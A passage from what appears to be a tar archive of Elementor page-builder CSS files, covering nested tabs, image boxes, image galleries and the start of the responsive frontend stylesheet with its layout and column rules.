.elementor-element.elementor-widget-n-tabs>.elementor-widget-container>.e-n-tabs>.e-n-tabs-heading .e-n-tab-title[aria-selected=true],.elementor .elementor-element.elementor-widget-n-tabs>.elementor-widget-container>.e-n-tabs[data-touch-mode=true]>.e-n-tabs-heading .e-n-tab-title[aria-selected=false]:hover{background-color:var(--n-tabs-title-background-color-active);background-image:none}@media (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}@media (max-width:ELEMENTOR_SCREEN_MOBILE_EXTRA_MAX){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-mobile_extra .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}@media (max-width:ELEMENTOR_SCREEN_TABLET_MAX){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}@media (max-width:ELEMENTOR_SCREEN_TABLET_EXTRA_MAX){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-tablet_extra .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}@media (max-width:ELEMENTOR_SCREEN_LAPTOP_MAX){.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop{--n-tabs-direction:column;--n-tabs-heading-display:contents;--n-tabs-content-display:contents}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tabs{gap:0}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tabs-content>.e-con{order:var(--n-tabs-title-order)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tab-title{order:var(--n-tabs-title-order);width:auto}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tab-title:not(:first-child){margin-block-start:var(--n-tabs-title-gap)}.elementor.elementor .elementor-widget-n-tabs.e-n-tabs-laptop .e-n-tab-title[aria-selected=true]{margin-block-end:var(--n-tabs-gap)}}assets/css/templates/widget-image-box.min.css000064400000002606147206604650015277 0ustar00.elementor-widget-image-box .elementor-image-box-content{width:100%}@media (min-width:ELEMENTOR_SCREEN_MOBILE_NEXT){.elementor-widget-image-box.elementor-position-left .elementor-image-box-wrapper,.elementor-widget-image-box.elementor-position-right .elementor-image-box-wrapper{display:flex}.elementor-widget-image-box.elementor-position-right .elementor-image-box-wrapper{text-align:end;flex-direction:row-reverse}.elementor-widget-image-box.elementor-position-left .elementor-image-box-wrapper{text-align:start;flex-direction:row}.elementor-widget-image-box.elementor-position-top .elementor-image-box-img{margin:auto}.elementor-widget-image-box.elementor-vertical-align-top .elementor-image-box-wrapper{align-items:flex-start}.elementor-widget-image-box.elementor-vertical-align-middle .elementor-image-box-wrapper{align-items:center}.elementor-widget-image-box.elementor-vertical-align-bottom .elementor-image-box-wrapper{align-items:flex-end}}@media (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.elementor-widget-image-box .elementor-image-box-img{margin-left:auto!important;margin-right:auto!important;margin-bottom:15px}}.elementor-widget-image-box .elementor-image-box-img{display:inline-block}.elementor-widget-image-box .elementor-image-box-title a{color:inherit}.elementor-widget-image-box .elementor-image-box-wrapper{text-align:center}.elementor-widget-image-box .elementor-image-box-description{margin:0}assets/css/templates/widget-image-gallery-rtl.min.css000064400000004640147206604650016745 0ustar00.elementor-image-gallery .gallery-item{display:inline-block;text-align:center;vertical-align:top;width:100%;max-width:100%;margin:0 auto}.elementor-image-gallery .gallery-item img{margin:0 auto}.elementor-image-gallery .gallery-item .gallery-caption{margin:0}.elementor-image-gallery figure img{display:block}.elementor-image-gallery figure figcaption{width:100%}.gallery-spacing-custom .elementor-image-gallery .gallery-icon{padding:0}@media (min-width:ELEMENTOR_SCREEN_MOBILE_NEXT){.elementor-image-gallery .gallery-columns-2 .gallery-item{max-width:50%}.elementor-image-gallery .gallery-columns-3 .gallery-item{max-width:33.33%}.elementor-image-gallery .gallery-columns-4 .gallery-item{max-width:25%}.elementor-image-gallery .gallery-columns-5 .gallery-item{max-width:20%}.elementor-image-gallery .gallery-columns-6 .gallery-item{max-width:16.666%}.elementor-image-gallery .gallery-columns-7 .gallery-item{max-width:14.28%}.elementor-image-gallery .gallery-columns-8 .gallery-item{max-width:12.5%}.elementor-image-gallery .gallery-columns-9 .gallery-item{max-width:11.11%}.elementor-image-gallery .gallery-columns-10 .gallery-item{max-width:10%}}@media (min-width:480px) and (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.elementor-image-gallery .gallery.gallery-columns-2 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-3 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-4 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-5 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-6 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-7 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-8 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-9 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-10 .gallery-item{max-width:50%}}@media (max-width:479px){.elementor-image-gallery .gallery.gallery-columns-2 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-3 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-4 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-5 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-6 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-7 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-8 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-9 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-10 .gallery-item{max-width:100%}}assets/css/templates/widget-image-gallery.min.css000064400000004640147206604650016146 0ustar00.elementor-image-gallery .gallery-item{display:inline-block;text-align:center;vertical-align:top;width:100%;max-width:100%;margin:0 auto}.elementor-image-gallery .gallery-item img{margin:0 auto}.elementor-image-gallery .gallery-item .gallery-caption{margin:0}.elementor-image-gallery figure img{display:block}.elementor-image-gallery figure figcaption{width:100%}.gallery-spacing-custom .elementor-image-gallery .gallery-icon{padding:0}@media (min-width:ELEMENTOR_SCREEN_MOBILE_NEXT){.elementor-image-gallery .gallery-columns-2 .gallery-item{max-width:50%}.elementor-image-gallery .gallery-columns-3 .gallery-item{max-width:33.33%}.elementor-image-gallery .gallery-columns-4 .gallery-item{max-width:25%}.elementor-image-gallery .gallery-columns-5 .gallery-item{max-width:20%}.elementor-image-gallery .gallery-columns-6 .gallery-item{max-width:16.666%}.elementor-image-gallery .gallery-columns-7 .gallery-item{max-width:14.28%}.elementor-image-gallery .gallery-columns-8 .gallery-item{max-width:12.5%}.elementor-image-gallery .gallery-columns-9 .gallery-item{max-width:11.11%}.elementor-image-gallery .gallery-columns-10 .gallery-item{max-width:10%}}@media (min-width:480px) and (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.elementor-image-gallery .gallery.gallery-columns-2 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-3 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-4 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-5 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-6 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-7 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-8 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-9 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-10 .gallery-item{max-width:50%}}@media (max-width:479px){.elementor-image-gallery .gallery.gallery-columns-2 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-3 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-4 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-5 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-6 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-7 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-8 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-9 .gallery-item,.elementor-image-gallery .gallery.gallery-columns-10 .gallery-item{max-width:100%}}assets/css/templates/frontend.css000064400000215766147206604650013220 0ustar00.elementor-hidden { display: none; } .elementor-visibility-hidden { visibility: hidden; } .elementor-screen-only, .screen-reader-text, .screen-reader-text span, .ui-helper-hidden-accessible { position: absolute; top: -10000em; width: 1px; height: 1px; margin: -1px; padding: 0; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .elementor-clearfix:after { content: ""; display: block; clear: both; width: 0; height: 0; } .e-logo-wrapper { background: var(--e-a-bg-logo); display: inline-block; padding: 0.75em; border-radius: 50%; line-height: 1; } .e-logo-wrapper i { color: var(--e-a-color-logo); font-size: 1em; } .elementor *, .elementor *:before, .elementor *:after { box-sizing: border-box; } .elementor a { box-shadow: none; text-decoration: none; } .elementor hr { margin: 0; background-color: transparent; } .elementor img { height: auto; max-width: 100%; border: none; border-radius: 0; box-shadow: none; } .elementor .elementor-widget:not(.elementor-widget-text-editor):not(.elementor-widget-theme-post-content) figure { margin: 0; } .elementor embed, .elementor iframe, .elementor object, .elementor video { max-width: 100%; width: 100%; margin: 0; line-height: 1; border: none; } .elementor .elementor-background-video-container, .elementor .elementor-background-holder, .elementor .elementor-background { height: 100%; width: 100%; top: 0; left: 0; position: absolute; overflow: hidden; z-index: 0; direction: ltr; } .elementor .elementor-background-video-container { transition: opacity 1s; pointer-events: none; } .elementor .elementor-background-video-container.elementor-loading { opacity: 0; } .elementor .elementor-background-video-embed { max-width: none; } .elementor .elementor-background-video-embed, .elementor .elementor-background-video-hosted { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor .elementor-background-video { max-width: none; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor .elementor-html5-video { object-fit: cover; } .elementor .elementor-background-overlay { height: 100%; width: 100%; top: 0; left: 0; position: absolute; } .elementor .elementor-background-slideshow { position: absolute; width: 100%; height: 100%; z-index: 0; top: 0; left: 0; } .elementor .elementor-background-slideshow__slide__image { width: 100%; height: 100%; background-position: center center; background-size: cover; } .elementor-widget-wrap > .elementor-element.elementor-absolute, .e-con > .elementor-element.elementor-absolute, .e-con-inner > .elementor-element.elementor-absolute { position: absolute; } .elementor-widget-wrap > .elementor-element.elementor-fixed, .e-con > .elementor-element.elementor-fixed, .e-con-inner > .elementor-element.elementor-fixed { position: fixed; } .elementor-widget-wrap .elementor-element.elementor-widget__width-auto, .elementor-widget-wrap .elementor-element.elementor-widget__width-initial { max-width: 100%; } @media (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-widget-wrap .elementor-element.elementor-widget-tablet__width-auto, .elementor-widget-wrap .elementor-element.elementor-widget-tablet__width-initial { max-width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_MAX) { .elementor-widget-wrap .elementor-element.elementor-widget-mobile__width-auto, .elementor-widget-wrap .elementor-element.elementor-widget-mobile__width-initial { max-width: 100%; } } .elementor-element { --flex-direction: initial; --flex-wrap: initial; --justify-content: initial; --align-items: initial; --align-content: initial; --gap: initial; --flex-basis: initial; --flex-grow: initial; --flex-shrink: initial; --order: initial; --align-self: initial; flex-basis: var(--flex-basis); flex-grow: var(--flex-grow); flex-shrink: var(--flex-shrink); order: var(--order); align-self: var(--align-self); } .elementor-element.elementor-absolute, .elementor-element.elementor-fixed { z-index: 1; } .elementor-element:where(.e-con-full, .elementor-widget) { flex-direction: var(--flex-direction); flex-wrap: var(--flex-wrap); justify-content: var(--justify-content); align-items: var(--align-items); align-content: var(--align-content); gap: var(--gap); } .elementor-invisible { visibility: hidden; } .elementor-align-center { text-align: center; } .elementor-align-center .elementor-button { width: auto; } .elementor-align-right { text-align: right; } .elementor-align-right .elementor-button { width: auto; } .elementor-align-left { text-align: left; } .elementor-align-left .elementor-button { width: auto; } .elementor-align-justify .elementor-button { width: 100%; } .elementor-custom-embed-play { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor-custom-embed-play i { font-size: 100px; color: #fff; text-shadow: 1px 0 6px rgba(0, 0, 0, 0.3); } .elementor-custom-embed-play svg { height: 100px; width: 100px; fill: #fff; filter: drop-shadow(1px 0 6px rgba(0, 0, 0, 0.3)); } .elementor-custom-embed-play i, .elementor-custom-embed-play svg { opacity: 0.8; transition: all 0.5s; } .elementor-custom-embed-play.elementor-playing i { font-family: eicons; } .elementor-custom-embed-play.elementor-playing i:before { content: "\e8fb"; } .elementor-custom-embed-play.elementor-playing i, .elementor-custom-embed-play.elementor-playing svg { animation: eicon-spin 2s infinite linear; } .elementor-tag { display: inline-flex; } .elementor-ken-burns { transition-property: transform; transition-duration: 10s; transition-timing-function: linear; } .elementor-ken-burns--out { transform: scale(1.3); } .elementor-ken-burns--active { transition-duration: 20s; } .elementor-ken-burns--active.elementor-ken-burns--out { transform: scale(1); } .elementor-ken-burns--active.elementor-ken-burns--in { transform: scale(1.3); } @media (min-width: ELEMENTOR_SCREEN_WIDESCREEN_MIN) { .elementor-widescreen-align-center { text-align: center; } .elementor-widescreen-align-center .elementor-button { width: auto; } .elementor-widescreen-align-right { text-align: right; } .elementor-widescreen-align-right .elementor-button { width: auto; } .elementor-widescreen-align-left { text-align: left; } .elementor-widescreen-align-left .elementor-button { width: auto; } .elementor-widescreen-align-justify .elementor-button { width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_LAPTOP_MAX) { .elementor-laptop-align-center { text-align: center; } .elementor-laptop-align-center .elementor-button { width: auto; } .elementor-laptop-align-right { text-align: right; } .elementor-laptop-align-right .elementor-button { width: auto; } .elementor-laptop-align-left { text-align: left; } .elementor-laptop-align-left .elementor-button { width: auto; } .elementor-laptop-align-justify .elementor-button { width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_TABLET_EXTRA_MAX) { .elementor-tablet_extra-align-center { text-align: center; } .elementor-tablet_extra-align-center .elementor-button { width: auto; } .elementor-tablet_extra-align-right { text-align: right; } .elementor-tablet_extra-align-right .elementor-button { width: auto; } .elementor-tablet_extra-align-left { text-align: left; } .elementor-tablet_extra-align-left .elementor-button { width: auto; } .elementor-tablet_extra-align-justify .elementor-button { width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-tablet-align-center { text-align: center; } .elementor-tablet-align-center .elementor-button { width: auto; } .elementor-tablet-align-right { text-align: right; } .elementor-tablet-align-right .elementor-button { width: auto; } .elementor-tablet-align-left { text-align: left; } .elementor-tablet-align-left .elementor-button { width: auto; } .elementor-tablet-align-justify .elementor-button { width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_EXTRA_MAX) { .elementor-mobile_extra-align-center { text-align: center; } .elementor-mobile_extra-align-center .elementor-button { width: auto; } .elementor-mobile_extra-align-right { text-align: right; } .elementor-mobile_extra-align-right .elementor-button { width: auto; } .elementor-mobile_extra-align-left { text-align: left; } .elementor-mobile_extra-align-left .elementor-button { width: auto; } .elementor-mobile_extra-align-justify .elementor-button { width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_MAX) { .elementor-mobile-align-center { text-align: center; } .elementor-mobile-align-center .elementor-button { width: auto; } .elementor-mobile-align-right { text-align: right; } .elementor-mobile-align-right .elementor-button { width: auto; } .elementor-mobile-align-left { text-align: left; } .elementor-mobile-align-left .elementor-button { width: auto; } .elementor-mobile-align-justify .elementor-button { width: 100%; } } :root { --page-title-display: block; } .elementor-page-title, h1.entry-title { display: var(--page-title-display); } @keyframes eicon-spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(359deg); } } .eicon-animation-spin { animation: eicon-spin 2s infinite linear; } .elementor-section { position: relative; } .elementor-section .elementor-container { display: flex; margin-right: auto; margin-left: auto; position: relative; } @media (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-section .elementor-container { flex-wrap: wrap; } } .elementor-section.elementor-section-boxed > .elementor-container { max-width: 1140px; } .elementor-section.elementor-section-stretched { position: relative; width: 100%; } .elementor-section.elementor-section-items-top > .elementor-container { align-items: flex-start; } .elementor-section.elementor-section-items-middle > .elementor-container { align-items: center; } .elementor-section.elementor-section-items-bottom > .elementor-container { align-items: flex-end; } @media (min-width: ELEMENTOR_SCREEN_MOBILE_NEXT) { .elementor-section.elementor-section-height-full { height: 100vh; } .elementor-section.elementor-section-height-full > .elementor-container { height: 100%; } } .elementor-bc-flex-widget .elementor-section-content-top > .elementor-container > .elementor-column > .elementor-widget-wrap { align-items: flex-start; } .elementor-bc-flex-widget .elementor-section-content-middle > .elementor-container > .elementor-column > .elementor-widget-wrap { align-items: center; } .elementor-bc-flex-widget .elementor-section-content-bottom > .elementor-container > .elementor-column > .elementor-widget-wrap { align-items: flex-end; } .elementor-row { width: 100%; display: flex; } @media (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-row { flex-wrap: wrap; } } .elementor-widget-wrap { position: relative; width: 100%; flex-wrap: wrap; align-content: flex-start; } .elementor:not(.elementor-bc-flex-widget) .elementor-widget-wrap { display: flex; } .elementor-widget-wrap > .elementor-element { width: 100%; } .elementor-widget-wrap.e-swiper-container { width: calc(100% - (var(--e-column-margin-left, 0px) + var(--e-column-margin-right, 0px))); } .elementor-widget { position: relative; } .elementor-widget:not(:last-child) { margin-bottom: 20px; } .elementor-widget:not(:last-child).elementor-widget__width-auto, .elementor-widget:not(:last-child).elementor-widget__width-initial, .elementor-widget:not(:last-child).elementor-absolute { margin-bottom: 0; } .elementor-column { position: relative; min-height: 1px; display: flex; } .elementor-column-wrap { width: 100%; position: relative; display: flex; } .elementor-column-gap-narrow > .elementor-column > .elementor-element-populated { padding: 5px; } .elementor-column-gap-default > .elementor-column > .elementor-element-populated { padding: 10px; } .elementor-column-gap-extended > .elementor-column > .elementor-element-populated { padding: 15px; } .elementor-column-gap-wide > .elementor-column > .elementor-element-populated { padding: 20px; } .elementor-column-gap-wider > .elementor-column > .elementor-element-populated { padding: 30px; } .elementor-inner-section .elementor-column-gap-no .elementor-element-populated { padding: 0; } @media (min-width: ELEMENTOR_SCREEN_MOBILE_NEXT) { .elementor-column.elementor-col-10, .elementor-column[data-col="10"] { width: 10%; } .elementor-column.elementor-col-11, .elementor-column[data-col="11"] { width: 11.111%; } .elementor-column.elementor-col-12, .elementor-column[data-col="12"] { width: 12.5%; } .elementor-column.elementor-col-14, .elementor-column[data-col="14"] { width: 14.285%; } .elementor-column.elementor-col-16, .elementor-column[data-col="16"] { width: 16.666%; } .elementor-column.elementor-col-20, .elementor-column[data-col="20"] { width: 20%; } .elementor-column.elementor-col-25, .elementor-column[data-col="25"] { width: 25%; } .elementor-column.elementor-col-30, .elementor-column[data-col="30"] { width: 30%; } .elementor-column.elementor-col-33, .elementor-column[data-col="33"] { width: 33.333%; } .elementor-column.elementor-col-40, .elementor-column[data-col="40"] { width: 40%; } .elementor-column.elementor-col-50, .elementor-column[data-col="50"] { width: 50%; } .elementor-column.elementor-col-60, .elementor-column[data-col="60"] { width: 60%; } .elementor-column.elementor-col-66, .elementor-column[data-col="66"] { width: 66.666%; } .elementor-column.elementor-col-70, .elementor-column[data-col="70"] { width: 70%; } .elementor-column.elementor-col-75, .elementor-column[data-col="75"] { width: 75%; } .elementor-column.elementor-col-80, .elementor-column[data-col="80"] { width: 80%; } .elementor-column.elementor-col-83, .elementor-column[data-col="83"] { width: 83.333%; } .elementor-column.elementor-col-90, .elementor-column[data-col="90"] { width: 90%; } .elementor-column.elementor-col-100, .elementor-column[data-col="100"] { width: 100%; } } @media (max-width: 479px) { .elementor-column.elementor-xs-10 { width: 10%; } .elementor-column.elementor-xs-11 { width: 11.111%; } .elementor-column.elementor-xs-12 { width: 12.5%; } .elementor-column.elementor-xs-14 { width: 14.285%; } .elementor-column.elementor-xs-16 { width: 16.666%; } .elementor-column.elementor-xs-20 { width: 20%; } .elementor-column.elementor-xs-25 { width: 25%; } .elementor-column.elementor-xs-30 { width: 30%; } .elementor-column.elementor-xs-33 { width: 33.333%; } .elementor-column.elementor-xs-40 { width: 40%; } .elementor-column.elementor-xs-50 { width: 50%; } .elementor-column.elementor-xs-60 { width: 60%; } .elementor-column.elementor-xs-66 { width: 66.666%; } .elementor-column.elementor-xs-70 { width: 70%; } .elementor-column.elementor-xs-75 { width: 75%; } .elementor-column.elementor-xs-80 { width: 80%; } .elementor-column.elementor-xs-83 { width: 83.333%; } .elementor-column.elementor-xs-90 { width: 90%; } .elementor-column.elementor-xs-100 { width: 100%; } } @media (max-width: ELEMENTOR_SCREEN_MOBILE_MAX) { .elementor-column.elementor-sm-10 { width: 10%; } .elementor-column.elementor-sm-11 { width: 11.111%; } .elementor-column.elementor-sm-12 { width: 12.5%; } .elementor-column.elementor-sm-14 { width: 14.285%; } .elementor-column.elementor-sm-16 { width: 16.666%; } .elementor-column.elementor-sm-20 { width: 20%; } .elementor-column.elementor-sm-25 { width: 25%; } .elementor-column.elementor-sm-30 { width: 30%; } .elementor-column.elementor-sm-33 { width: 33.333%; } .elementor-column.elementor-sm-40 { width: 40%; } .elementor-column.elementor-sm-50 { width: 50%; } .elementor-column.elementor-sm-60 { width: 60%; } .elementor-column.elementor-sm-66 { width: 66.666%; } .elementor-column.elementor-sm-70 { width: 70%; } .elementor-column.elementor-sm-75 { width: 75%; } .elementor-column.elementor-sm-80 { width: 80%; } .elementor-column.elementor-sm-83 { width: 83.333%; } .elementor-column.elementor-sm-90 { width: 90%; } .elementor-column.elementor-sm-100 { width: 100%; } } @media (min-width: ELEMENTOR_SCREEN_MOBILE_NEXT) and (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-column.elementor-md-10 { width: 10%; } .elementor-column.elementor-md-11 { width: 11.111%; } .elementor-column.elementor-md-12 { width: 12.5%; } .elementor-column.elementor-md-14 { width: 14.285%; } .elementor-column.elementor-md-16 { width: 16.666%; } .elementor-column.elementor-md-20 { width: 20%; } .elementor-column.elementor-md-25 { width: 25%; } .elementor-column.elementor-md-30 { width: 30%; } .elementor-column.elementor-md-33 { width: 33.333%; } .elementor-column.elementor-md-40 { width: 40%; } .elementor-column.elementor-md-50 { width: 50%; } .elementor-column.elementor-md-60 { width: 60%; } .elementor-column.elementor-md-66 { width: 66.666%; } .elementor-column.elementor-md-70 { width: 70%; } .elementor-column.elementor-md-75 { width: 75%; } .elementor-column.elementor-md-80 { width: 80%; } .elementor-column.elementor-md-83 { width: 83.333%; } .elementor-column.elementor-md-90 { width: 90%; } .elementor-column.elementor-md-100 { width: 100%; } } @media (min-width: ELEMENTOR_SCREEN_WIDESCREEN_MIN) { .elementor-reverse-widescreen > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-widescreen > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-widescreen > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-widescreen > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-widescreen > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-widescreen > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-widescreen > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-widescreen > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-widescreen > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-widescreen > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: ELEMENTOR_SCREEN_TABLET_NEXT) and (max-width: ELEMENTOR_SCREEN_LAPTOP_MAX) { .elementor-reverse-laptop > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-laptop > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-laptop > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-laptop > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-laptop > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-laptop > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-laptop > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-laptop > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-laptop > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-laptop > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: ELEMENTOR_SCREEN_TABLET_EXTRA_NEXT) and (max-width: ELEMENTOR_SCREEN_LAPTOP_MAX) { .elementor-reverse-laptop > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-laptop > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-laptop > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-laptop > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-laptop > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-laptop > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-laptop > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-laptop > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-laptop > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-laptop > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: ELEMENTOR_SCREEN_TABLET_NEXT) and (max-width: ELEMENTOR_SCREEN_TABLET_EXTRA_MAX) { .elementor-reverse-laptop > .elementor-container > :nth-child(1) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(2) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(3) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(4) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(5) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(6) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(7) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(8) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(9) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(10) { order: initial; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: ELEMENTOR_SCREEN_MOBILE_NEXT) and (max-width: ELEMENTOR_SCREEN_TABLET_MAX) { .elementor-reverse-tablet > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-tablet > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-tablet > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-tablet > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-tablet > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-tablet > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-tablet > .elementor-container > :nth-child(7) { 